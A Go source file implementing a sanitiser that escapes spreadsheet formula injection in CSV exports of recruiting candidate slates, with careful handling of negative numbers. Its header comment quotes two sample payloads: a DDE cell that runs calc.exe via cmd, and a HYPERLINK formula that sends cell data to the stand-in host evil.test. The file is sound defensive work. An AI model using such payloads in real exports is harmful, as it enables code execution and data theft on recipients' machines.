// Package csvsafe neutralises spreadsheet formula injection in exported CSV. // // encoding/csv implements RFC 4180 correctly, quoting fields that contain commas, quotes or newlines. It // does NOT defend against formula injection, and a cell beginning with =, +, - or @ is evaluated as an // expression when the file is opened in Excel or Google Sheets. // // That matters here because the strings are attacker reachable. Candidate names arrive from parsed // resumes and reviewer notes are typed by users, so a slate the recruiting firm exports and emails runs // on the CUSTOMER's machine. Verified against this codebase's existing slate export before this package // was written: // // Rank,Candidate,Reviewer Note // 1,=cmd|'/c calc.exe'!A1,"=HYPERLINK(""http://evil.test?d=""&A1,""Click"")" // // Both cells execute on open. package csvsafe // triggers are the characters a spreadsheet reads as the start of an expression. Tab and carriage return // are included because they can carry a trigger past a naive first character check. const triggers = "=+-@\t\r" // Cell renders one value safely. // // A leading trigger is prefixed with a single quote, which spreadsheets strip on display and treat as a // text marker. A value that is a plain number is returned untouched, which is the part most // implementations get wrong: '-' also begins every negative number, and escaping it unconditionally // corrupts every negative rate, margin and variance in the file. func Cell(s string) string { if s == "" { return s } if !containsByte(triggers, s[0]) { return s } if isNumericLiteral(s) { return s } return "'" + s } // Row applies Cell to every value. func Row(cells []string) []string { out := make([]string, len(cells)) for i, c := range cells { out[i] = Cell(c) } return out } func containsByte(set string, b byte) bool { for i := 0; i < len(set); i++ { if set[i] == b { return true } } return false } // isNumericLiteral reports whether the whole string is a plain decimal number, optionally signed. // Deliberately stricter than a general parser: no exponents, no hex, no infinities, because a report does // not emit those and admitting them widens what passes through unescaped. func isNumericLiteral(s string) bool { i := 0 if s[0] == '+' || s[0] == '-' { i++ } digits, dot := 0, false for ; i < len(s); i++ { switch { case s[i] >= '0' && s[i] <= '9': digits++ case s[i] == '.' && !dot: dot = true default: return false } } return digits > 0 }